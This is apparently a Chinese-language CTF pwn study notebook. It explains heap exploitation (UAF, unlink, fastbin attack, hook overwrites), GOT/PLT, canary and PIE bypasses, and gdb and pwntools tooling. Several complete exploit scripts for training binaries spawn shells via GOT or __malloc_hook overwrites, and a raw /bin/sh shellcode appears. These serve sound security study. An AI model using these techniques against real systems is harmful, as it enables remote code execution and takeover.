0%

uaf

HITCON-training - lab 10 hacknote

存在uaf漏洞

image-20201111032646916

note的结构是,有两个属性put和content

image-20201111032057852

image-20201111032726035

puts函数存放的是print_note_content函数指针,输出的时候会调用这个函数,content属性是存放内容的堆指针。

image-20201111032835613

存在后门函数magic

所以,只要修改puts属性为magic属性,那么在show的时候,就会调用magic函数,get flag。

申请一个堆块,会建立两个堆,一个存放输出信息,一个存放内容

image-20201111032951397

这里,0x11的是notelist结构题,存放的是puts和content两个指针。

如果我们把这两个堆块都释放了,那么他们都进入了fastbin

image-20201111033120082

如果此时我们申请一个和notelist长度一样的堆块,那么它会把原先的两个0x11给我们,一个作为notelist一个作为content,但是content我们是可控的,放入magic,再输出,即调用magic函数。

image-20201111033408089

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
p=process("./hacknote")
#context.log_level ='debug'

magic = 0x08048986

def add(size,content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)

def free(idx):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("dex :")
p.sendline(str(idx))

def show(idx):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("dex :")
p.sendline(str(idx))

add(32,"aaaa")
add(32,"bbbb")

free(0)
free(1)

add(0x8,p32(magic)*2)
show(0)
gdb.attach(p)
p.interactive()

以前写的:https://blog.csdn.net/qq_43935969/article/details/104730157

unlink

2014_hitcon_stkof

libc

  • 如果题目中给出了libc文件,用ida打开,搜索字符串,搜索versionimage-20201108030310873

  • 如果题目没有给出libc文件,需要一个个尝试

    • 堆的话试试UAF啥的

      ​ 要么2.23、要么2.27、2.31就喷他

    • 栈溢出那就leak一下就行了

got表和plt表

  • .got

GOT(Global Offset Table)全局偏移表。这是「链接器」为「外部符号」填充的实际偏移表。

  • .plt

PLT(Procedure Linkage Table)程序链接表。它有两个功能,要么在 .got.plt 节中拿到地址,并跳转。要么当 .got.plt 没有所需地址的时,触发「链接器」去找到所需地址

  • .got.plt

这个是 GOT 专门为 PLT 专门准备的节。说白了,.got.plt 中的值是 GOT 的一部分。它包含上述 PLT 表所需地址(已经找到的和需要去触发的)

我们说的覆写plt表指的是.got.plt,通过调试得出

image-20201108032958022

第一个add

没有setbuf,把输入输出缓冲区申请好。

globals(head)

所有chunk存储的位置

chunk开始的地方

image-20201108031201127

image-20201108010322075

v2是分配的数据指针,而v2是存储在bss段上的,没有开启pie,所以是不变的。

堆溢出

image-20201108012152824

edit函数中,因为修改的长度是自己输入的,那我想改多少改多少,存在堆溢出

unlink的具体操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
alloc(0x30)  # idx 2
# small chunk size inorder to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)

分配两个chunk,对第一个chunk进行修改,其中bk和fd放成target - 12target - 8

20是因为-12和-8是伪造一个堆块,大小为0x10,被释放了,所以,检查机制会看下一个堆块的prev_size

30和90是下一个chunk的头,也就是上chunk3的上一个chunk在chunk2,90表示被释放了

unlink的结果

image-20201108031435390

所以,接下来往chunk2写入数据就会从0x602138开始。。。

注意的是:0x602140仍旧是global[0]的起始地址,那么,覆盖40-58的地址,用global[0\1\2]就可以调用到。

执行结果如下:

image-20201108031836380

got表

所以,现在edit(0),就会往第一个地址里面写入数据。

如果第一个是某个got表地址,那么写入的话,got表里面的内容就可能被替换掉了。

free(1)

因为这里,第一个指针地址是puts的got表地址(参数),free的got表也被替换为puts的plt表(原来的执行plt实际上就是执行.got.plt,所以一样),所以执行free函数的话,执行的是put.plt,参数是puts的got表地址

edit(2, len(payload), payload)

这里修改的2就直接是88,atoi的got表里面的数据,然后继续执行的时候,会让输入,把binsh给他们就行。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
p = process("./stkof")
elf = ELF("./stkof")
libc = ELF("./libc.so.6")

def add(size):
p.sendline("1")
p.sendline(str(size))

def edit(idx,size,content):
p.sendline("2")
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)

def free(idx):
p.sendline("3")
p.sendline(str(idx))
head = 0x00602140
#x/30gx 0x00602140
add(0x30)#1
add(0x30)
add(0x80)

payload = p64(0) + p64(0x20)
payload += p64(head + 16 - 0x18)
payload += p64(head + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30) + p64(0x90)
edit(2,len(payload),payload)
free(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']

payload = p64(0x0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)

payload = p64(puts_plt)
edit(0,len(payload),payload)
free(1)
puts_addr = u64(p.recvuntil("\x7f")[-6:] + '\x00\x00')
print("[*]puts_addr:",hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search('/bin/sh'))

payload = p64(system)
edit(2,len(payload),payload)
p.send(p64(binsh))

p.interactive()

2016 ZCTF note2

对于程序自己重写read等功能,要看一下,因为很可能就是做了一定的变动,导致可能存在某个漏洞。

image-20201111021534976

本题中主要是ReadStr这个函数,由于是i是无符号数,所以在比较len - 1 > i时,会把它转换为无符号数,如果len = 0,那么长度就变成了0xfffffffff,如果ReadStr(note, size, 10);就可以往note里面写入很多的数据,造成堆溢出。

漏洞分析

本题的主要漏洞就在于这个点,利用堆溢出,可以实现unlink功能。

堆块的指针存在于ptr,地址为0x00602120

首先申请一个块,由于有大小限制,就申请最大的0x80,在里面伪造块

1
2
3
4
5
6
ptr = 0x00602120
payload = "a"*0x8 + p64(0x60)#0x60和0x61都可
payload += p64(ptr - 0x18) + p64(ptr - 0x10)
payload += "a" * 64
payload += p64(0x60)
add(0x80,payload)

因为只有大小为0的才能栈溢出,所以我们申请一个大小为0的块作为中介。

但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。

最后再申请一个正常的堆块,0x80。

这时,堆布局如下:

image-20201111022359588

因为大小为0的堆块只有在add的时候,读入才堆溢出。所以我们先把它释放,再重新申请,因为大小一样,会把释放掉的给我们重新分配回来。

这时候,就可以把下一个堆块的头给覆盖了。

1
2
3
4
free(1)
payload = "a"*0x8*2 + p64(0xa0) + p64(0x90)
add(0,payload)
free(2)

因为是释放chunk3,却要让它unlink chunk1,所以prev_size要是和chunk1的距离,这样,chunk3会根据自己的地址 - prev_size找到前一个chunk是chunk1。

然后free2,就成功unlink了。

image-20201111022859025

然后,就可以正常了。

覆盖指针的地址为atoi_got表地址,show泄漏他的地址,找到libc基址,找到system的地址,然后覆盖原来的atoi_got的地址,然后执行的atoi函数的时候,发送‘/bin/sh’即可,这里可以是它的地址也可以是字符串。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
p = process("./note2")
elf = ELF("./note2")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')#给的libc版本是2.19但是不好使呀,要用2.23的

context.log_level = 'debug'

p.recvuntil("name:")
p.sendline("winter")
p.recvuntil("address:")
p.sendline("qh")


def add(size,content):
p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("(less than 128)")
p.sendline(str(size))
p.recvuntil("content:")
p.sendline(content)

def show(idx):
p.recvuntil("option--->>")
p.sendline("2")
p.recvuntil("id of the note:")
p.sendline(str(idx))

def edit(idx,choice,content):
p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil(" the note:")
p.sendline(str(idx))
p.recvuntil("[1.overwrite/2.append]")
p.sendline(str(choice))
p.sendline(content)

def free(idx):
p.recvuntil("option--->>")
p.sendline("4")
p.recvuntil("the note:")
p.sendline(str(idx))

ptr = 0x00602120
payload = "a"*0x8 + p64(0x60)
payload += p64(ptr - 0x18) + p64(ptr - 0x10)
payload += "a" * 64
payload += p64(0x60)

add(0x80,payload)
add(0,"bbbbbbbb")
add(0x80,"aaaaaaaa")
free(1)
payload = "a"*0x8*2 + p64(0xa0) + p64(0x90)
add(0,payload)
free(2)

atoi_got = elf.got['atoi']
payload = "a"*0x18 + p64(atoi_got)
edit(0,1,payload)

show(0)
p.recvuntil("Content is ")
atoi_got = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')

libc_base = atoi_got - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
payload = p64(system)

edit(0,1,payload)
p.recvuntil("option--->>")
p.sendline(p64(binsh))
gdb.attach(p)

p.interactive()

unlink总结

  1. 要伪造堆块
  2. 可以溢出覆盖下一个堆块的头
  3. unlink是函数指针

unlink先到这里,,等有空再做剩下几题。。。

花式栈溢出技巧

stack pivoting(栈迁移)

第一题是直接用jmp esp进行栈迁移的

image-20201112211503737

题目很简单,一个栈溢出,但是溢出字节不是很多,只有50 - 0x20-0x4(ebp) = 14个字节,难以利用。

因为这里是存在栈上而不是bss段上,所以不能用ret2shellcode(不知道输入的具体地址)

所以

fastbin

2017 0ctf babyheap

image-20201118233314339

64位的程序,保护全开

image-20201118233342993

填充内容的时候,长度是重新输入的,可以填充任意长度,造成栈溢出

image-20201118233449344

没有uaf

思路

主要的漏洞:任意长度堆溢出

  • 利用unsortedbin地址泄漏libc基地址

  • 利用fastbin attack将chunk分配到malloc_hook附近

具体过程

要利用unsortedbin泄漏,所以,要让两个块同时指向unsortedbin地址。

第一部分:

所以,一开始,首先将大小为0x80的块同时被认为是chunk2。方法是释放chunk2和chunk1,修改1的fd(原本指向chunk2),现在修改为chunk4,那么申请回来的时候chunk2实际是chunk4的内容。这里为了绕过检查,要让chunk4的大小为0x10。

接着,让chunk4的地址变回0x80,为了防止和top chunk合并,多申请一个chunk5,接着释放chunk4进入unsortedbin(chunk被释放后,如果大小不再fastbin内,会先放到unsortedbin中),chunk4里面的指针指向unsortedbin的链表头,用它可以计算出main_arena和libc的地址

第二部分:

因为malloc_hook附近有0x7f可用,找到一个合适的地方,申请堆块到这里,然后覆盖malloc_hook为one_gadget地址,再malloc任意值即可得到shell。

1.前期申请

5个chunk

1
2
3
4
5
add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/40gx 0x55b474ad1000
0x55b474ad1000: 0x0000000000000000 0x0000000000000021
0x55b474ad1010: 0x0000000000000000 0x0000000000000000
0x55b474ad1020: 0x0000000000000000 0x0000000000000021
0x55b474ad1030: 0x0000000000000000 0x0000000000000000
0x55b474ad1040: 0x0000000000000000 0x0000000000000021
0x55b474ad1050: 0x0000000000000000 0x0000000000000000
0x55b474ad1060: 0x0000000000000000 0x0000000000000021
0x55b474ad1070: 0x0000000000000000 0x0000000000000000
0x55b474ad1080: 0x0000000000000000 0x0000000000000091
0x55b474ad1090: 0x0000000000000000 0x0000000000000000
2.令另一个chunk分配到chunk4
1
2
free(2)
free(1)

链表:

1
2
3
4
5
6
7
8
9
10
11
12
fastbins
0x20: 0x55a609172020(1) —▸ 0x55a609172040(2) ◂— 0x0

Free chunk (fastbins) | PREV_INUSE(1)
Addr: 0x55a609172020
Size: 0x21
fd: 0x55a609172040

Free chunk (fastbins) | PREV_INUSE(2)
Addr: 0x55a609172040
Size: 0x21
fd: 0x00

本来chunk1是指向chunk2的,修改最低8位,(因为开了pie,但是最低3字节不变),这样chunk1就指向chunk4了。

1
2
payload = p64(0) * 3 + p64(0x21) + p8(0x80)
fill(0,len(payload),payload)
1
2
3
pwndbg> bin
fastbins
0x20: 0x556f686e7020(1) —▸ 0x556f686e7080(4) ◂— 0x0

image-20201118235420360

接着修改chunk4的大小,方便绕过检查

1
2
payload = p64(0) * 3 + p64(0x21) + p64(0x21)
fill(3,len(payload),payload)

这样接着申请两个0x10的堆块时候,一个是原来的chunk1不变,chunk2变成了chunk4

1
2
add(0x10)#1
add(0x10)#2 -> 4

以后,使用chunk2,实际的操作在chunk4里面

3.将chunk4放入到unsortbin中

只要修改大小为0x80,然后释放掉即可。

这里为了防止与top chunk合并,所以在释放申请前,再申请一个chunk5

1
2
3
4
5
6
payload = p64(0) * 3 + p64(0x91)
fill(3,len(payload),payload)

add(0x80)#5

free(4)

现在,chunk2和chunk4指向相同的地址,而chunk4是unsortedbin中唯一的chunk,fd指针指向的是unsortedbin的链表,用chunk2就可以打印出它

1
2
3
dump(2)
p.recvuntil("Content: \n")
unsortedbin_addr = u64(p.recv(8))

由此计算出main_arena和libc基地址(0x58和0x3c4b20都是固定的libc-2.23.so)

main_arena_offset可以使用工具:https://github.com/Coldwave96/LibcOffset

image-20201119001527081

1
2
3
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
4. 伪造堆块

image-20201119000157127

main_arena上面就是malloc_hook,并且那些地址的开头都是0x7f,所以需要chunk块大小为0x60。

我们申请0x60的块即可,因为小于原来的0x80,会自动分割为两个:0x60和0x10(头,,),

image-20201119000539940

有三个0x7f,但是第一个太近了,无法完全覆盖malloc_hook,第二个,前面没有7个0x00,不符合要求,所以是第三个,地址是main_arena-0x33

1
2
3
4
5
6
add(0x60)#4
free(4)

fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2,len(fake_chunk),fake_chunk)
5.申请伪造的堆块

接着申请两个chunk

第一次申请的是chunk4,第二次申请的是chunk4的fd指针指向的地址,也就是我们伪造的堆块

1
2
add(0x60)#4
add(0x60)#6
6.在malloc的地址填入one_gadget

one_gadget libc文件(本地在/lib/x86_64-linux-gnu/libc-2.23.so),有四个一个个试呗,第二个就行。

1
2
3
4
one_gadget = libc_base + 0x4526a
payload = 'a'*0x13 + p64(one_gadget)
fill(6,len(payload),payload)
add(0x10)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process("./babyheap_0ctf_2017")
#p = remote('node3.buuoj.cn',28082)
context.log_level = 'debug'
context.binary = "./babyheap_0ctf_2017"


def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset

offset_unsortedbin_main_arena = offset_bin_main_arena(0)

def add(size):
p.recvuntil("Command:")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(size))

def fill(idx,size,content):
p.recvuntil("Command:")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(str(content))

def free(idx):
p.recvuntil("Command:")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))

add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4

free(2)
free(1)

payload = p64(0) * 3 + p64(0x21) + p8(0x80)
fill(0,len(payload),payload)

payload = p64(0) * 3 + p64(0x21) + p64(0x21)
fill(3,len(payload),payload)

add(0x10)#1
add(0x10)#2 -> 4

payload = p64(0) * 3 + p64(0x91)
fill(3,len(payload),payload)

add(0x80)#5

free(4)
dump(2)
p.recvuntil("Content: \n")
unsortedbin_addr = u64(p.recv(8))
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
log.success("[*]unsortedbin_addr:"+hex(unsortedbin_addr))
log.success("[*]main_arena:"+hex(main_arena))
log.success("[*]libc_base:"+hex(libc_base))

add(0x60)#4
free(4)

fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2,len(fake_chunk),fake_chunk)

gdb.attach(p)

add(0x60)#4
add(0x60)#6

one_gadget = libc_base + 0x4526a
payload = 'a'*0x13 + p64(one_gadget)
fill(6,len(payload),payload)
add(0x10)
p.interactive()

光标

1
2
echo -e "\033[?25l"  隐藏光标
echo -e "\033[?25h" 显示光标

LibcSearcher

安装

1
2
3
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop //使用root
1
2
3
4
5
6
7
8
from LibcSearcher import *

obj = LibcSearcher("read",addr) #已经泄漏的函数地址
libc_base = addr - obj.dump('read')
system_addr = obj.dump("system") + libc_base #计算其他地址
print("system:"+hex(system_addr))
binsh_addr = obj.dump("str_bin_sh") + libc_base
print("binsh_addr:"+hex(binsh_addr))

ret2csu

因为是edi,而binsh在libc里面的地址是0x7f开头的八位,所以不能直接用

1
2
3
4
5
6
7
8
9
10
11
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = p64(part1) # part1 entry pop_rbx_rbp_r12_r13_r14_r15_ret
payload += p64(0x0) # rbx must be 0x0
payload += p64(0x1) # rbp must be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15d -> edi arg1
payload += p64(part2) # part2 entry will call [r12+rbx*0x8]
payload += 'A' * 56 # junk 6*8+8=56
return payload

64位传参

参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

栈帧

点击查看源网页

查看内存命令

用gdb查看内存

格式: x /nfu

说明
x 是 examine 的缩写

n表示要显示的内存单元的个数

f表示显示方式, 可取如下值
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
i 指令地址格式
c 按字符格式显示变量。
f 按浮点数格式显示变量。

u表示一个地址单元的长度
b表示单字节,
h表示双字节,
w表示四字节,
g表示八字节

修改pwngdb或者peda

1
2
3
gedit /.gdbinit
source /home/winter/pwndbg/gdbinit.py
source ~/peda/peda.py

python函数函数

数字和字符串转换

chr(x ) 将一个整数转换为一个字符

ord(x ) 将一个字符转换为它的整数值

查看变量类型

type()函数

命令

ascii码的字符打印出来 printf “\037”

用字符的ascii码执行程序:printf “\023\342” | ./可执行文件

追踪

ltrace ./可执行文件

gdb使用peda和pwngdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gedit ~/.gdbinit
//peda
source ~/peda/peda.py
//v8 gdb
source ~/.gdbinit_v8
source /home/winter/v8/v8/tools/gdb-v8-support.py
//pwngdb
source /home/winter/pwndbg/gdbinit.py
//gef
source /home/winter/.gdbinit-gef.py
//Pwngdb
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

linux初始化root密码

1
sudo passwd

image-20201015164326447

ubuntu 安装pip

1
2
3
4
5
6
7
# 1. 更新系统包
sudo apt-get update
sudo apt-get upgrade
# 2. 安装Pip
sudo apt-get install python-pip
# 3. 检查 pip 是否安装成功
pip -V

生成指定数目字符串

cyclic 100

检测机制

Full RELRO

不能覆盖got表

malloc、realloc、free函数在开始时会查看对应的hook变量是否为空,不为空则调用变量中的地址,寻找malloc_hook、realloc_hook、free_hook

泄漏cannary

Canary设计为以字节”\x00”结尾,本意是为了保证Canary可以截断字符串。

因为存在栈溢出,所以可以覆盖地位的’\x00’,让canary随着前面的数据一起输出。

内存存放情况:

局部变量
canary
ebp
返回地址
参数

所以,有canary的栈题。

如果数据是[rbp - n]

  • 第一次泄漏填充的长度就是rbp - 0x8(canary)+ 1(覆盖那个‘\x00’)
  • 第二次填充的长度rbp - 0x8 + canary

partial write绕过pie

partial write就是利用了PIE技术的缺陷。我们知道,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程。

由于地址的后3位一样,所以覆盖的话至少需要4位,那么倒数第四位就需要爆破,爆破范围在0到0xf

各种bin

fastbin

0x20 - 0x80

后进先出

使用单链表对空闲堆块进行连接

只有bk

单向链表

small bin

0x20 - 0x400(1024)

先进先出

bk和fd

双向链表

larage bin

大于0x400

bk和fd、找到下一个和他大小不同的堆块

根据large bin的大小,用fd_nextsize和bk_nextsize按大小排序连接

利用:实现任意地址写堆地址

unsortedbin

双向链表

chunk被释放后,如果大小不再fastbin内,会先放到unsortedbin中

在申请内存的时候,如果大小不是fastbin大小的内存,并且在smallbin中没有找到合适的chunk,就会从unsortedbin中查找。

堆里用

篡改size域

chunk extend => chunk overlap

篡改prev_size域和prev_in_use域

attack:

FD = target - 12

BK = target - 8

target = target -12

house of einherjar

类似unlink、后向合并检查不严

篡改fd指针

fastbin attack

就是fd控制,那么它指向的地址(要被认为是一个chunk,可以通过size域的检查)

tcache attack

2.27里面加入的,更快

但是从堆块去内存的时候,没有对size进行检查(不知道地址是否合法)

attack:

篡改fd指针
tcache struct attack

tcache_struct:

  • tcache_count;
  • tcache_entry;

attack:篡改tcache_entry->任意地址分配

chunk overlap

篡改bk指针

unsorted bin attack

向地址里面写入libc

bk = target - 0x10(64位)

不良影响:unsortedbin被污染,用它分配内存可能有错

libc

在64位下是0x7f开头

1
2
3
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
system=libc_base+libc.symbols["system"]
bin_sh=libc_base+libc.search("/bin/sh").next()
  • 如果题目中给出了libc文件,用ida打开,搜索字符串,搜索versionimage-20201108030310873

  • 如果题目没有给出libc文件,需要一个个尝试

    • 堆的话试试UAF啥的

      ​ 要么2.23、要么2.27、2.31就喷他

    • 栈溢出那就leak一下就行了

题目给定

查看版本

1
strings libc.so | grep GNU

查看该版本与本地是否相同

1
diff libc.so /lib/x86../libc-2.27.so

Binary files libc-2.27.so and /lib/x86_64-linux-gnu/libc-2.27.so differ

表示该libc与本地环境不同,故调试的时候,需要加

1
io = process(['./bin'],env={"LD_PRELOAD":"./libc-2.23.so"})

来加载,其中[‘./bin’]替换为你需要调试的二进制文件名,”./libc-2.23.so”替换成你需要加载的目标libc,这样本地调试就可以通过目标libc进行了。

寄存器参数

%rdi, %rsi, %rdx, %rcx, %r8, %r9

docker

进入容器的几种方法:
1、exec
通过docker ps 查看需要进入的容器pid
执行
docker exec -it 246f35c432de /bin/bash
退出容器,不会关闭容器,一般使用这个方法。
2、attach
通过docker ps 查看需要进入的容器pid
docker attach pid
退出容器会关闭容器,不推荐

Docker进入容器的几种方法:https://blog.csdn.net/czy_6837/article/details/84325166?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.add_param_isCf&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.add_param_isCf

pwn出题环境

https://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652848854&idx=1&sn=ff537cc73e76e1ab058bd36cb76749a0&chksm=bd593e1b8a2eb70d41627a1d04c1abec2c071f28c2649ddd9e313c4eda854ca4a26db20a1985&mpshare=1&scene=1&srcid=1011dGXhepYahcla33btEWte#rd

DynELF

DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块,其基本代码框架如下。

1
2
3
4
5
6
7
8
9
10
11
p = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

addr就是可以泄漏内存的地址

比如说write函数和put函数的输出参数

setbuf

由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。

global max fast

global max fast是决定使用fast bin管理的chunk的最大值

使用:

改写global max fast后,处理特定大小的chunk,进而可以在arena往后的任意地址写入一个堆地址

markdown的页内跳转

1
2
3
4
5
1. 先定义一个锚(id)
<span id="jump">Hello World</span>

2. 然后使用markdown的语法:
[XXXX](#jump)

exp脚本

开头

1
2
3
#!/usr/bin/python
#coding:utf-8
context.log_level="debug"

elf和libc区别

1
2
libc = ELF('./libc-2.23.so')
elf = ELF('onetime')

got和plt是程序的,也就是ELF(‘./程序’)

symbols是libc的,也就是ELF(‘./libc文件’)

接收字符串

canary
1
2
p.recvuntil("\x7f")[-6:]
canary = '\x00' + p.recv(7)#这个是栈溢出泄漏的canary
show得到的
1
2
3
show()
p.recvuntil("data:")
libc_base = u64(p.recv(6) + '\x00\x00')

sh

system(‘sh’)也可以得到shell

image-20201109192504900

plt表和got表

注意plt表可执行不可写,got表可写不可读:

image-20201109192029254

ptl表的地址:0x400620 - 0x4006C0附近

image-20201109192144499

got表地址在0x602000 - 0x602060

image-20201109192315003

  • .got

GOT(Global Offset Table)全局偏移表。这是「链接器」为「外部符号」填充的实际偏移表。

  • .plt

PLT(Procedure Linkage Table)程序链接表。它有两个功能,要么在 .got.plt 节中拿到地址,并跳转。要么当 .got.plt 没有所需地址的时,触发「链接器」去找到所需地址

  • .got.plt

这个是 GOT 专门为 PLT 专门准备的节。说白了,.got.plt 中的值是 GOT 的一部分。它包含上述 PLT 表所需地址(已经找到的和需要去触发的)

可控内存

  • bss段:进程按页分配内存,分配给 bss 段的内存大小至少一个页 (4k,0x1000) 大小。一般 bss 段的内容用不了这么多的空间,并且 bss 段分配的内存页拥有读写权限。
  • heap:需要泄漏堆地址

shellcode

1
2
3
4
5
6
7
#pwntools提供的
payload = asm(shellcraft.sh())

#21字节的shellcode
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

ljust

前面是大小,后面是填充的字符串

1
payload.ljust(0x100+0x8, "a")

调试

~/ctf-challenges/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w

更新源和软件

1
2
sudo apt-get update      #更新源
sudo apt-get upgrade #更新软件

main_arena_offset

使用如下工具:

https://github.com/Coldwave96/LibcOffset

image-20201119001634875

1
libc_base = main_arena - main_arena_offset

offset_unsortedbin_main_arena

1
2
3
4
5
6
7
8
9
10
11
context.binary = "./babyheap_0ctf_2017"#要指定
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
1
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena

allocate

calloc

calloc同malloc类似只是会将申请到的堆块内容清0。所以常规的unsorted bin信息泄露的方式不可行。需要使用堆溢出进行配合

hook

malloc_hook

最常见也是最容易的一种堆利用方法。
malloc函数会首先检查malloc_hook的值,若不为0则会调用他。若我们能通过内存写入malloc_hook即可实现任意地址跳转
通过fastbin_attack攻击malloc_hook。

fastbin在分配时并不检查对齐情况,将fastbin的fd设置为__malloc_hook-0x23,触发fastbin attack分配得到malloc_hook上方内存空间,向malloc_hook进行写入one_gadget得到权限。

realloc_hook

一种很巧妙的利用方法。有些情况下one_gadget因为环境原因全部都不可用,这时可以通过realloc_hook调整堆栈环境使one_gadget可用。
realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。

free_hook

同malloc_hook类似,在调用free函数时会先检验free_hook的值。
但是free_hook上方都是0字节。不能直接通过fastbin_attack进行攻击,可以通过修改top
free_hook上方,之后申请内存至free_hook修改为system地址。
fastbin数组在top chunk指针上方。可以通过free fastbin chunk修改fastbin数组的值使的fastbin attack可以实现。 存在限制要求堆的地址以0x56开头

https://bbs.pediy.com/thread-246786.htm#msg_header_h1_0

 tcache attack

内存申请:

在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中。

(1)首先,申请的内存块符合 fastbin 大小时并且在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中。

(2)其次,申请的内存块符合 smallbin 大小时并且在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中。

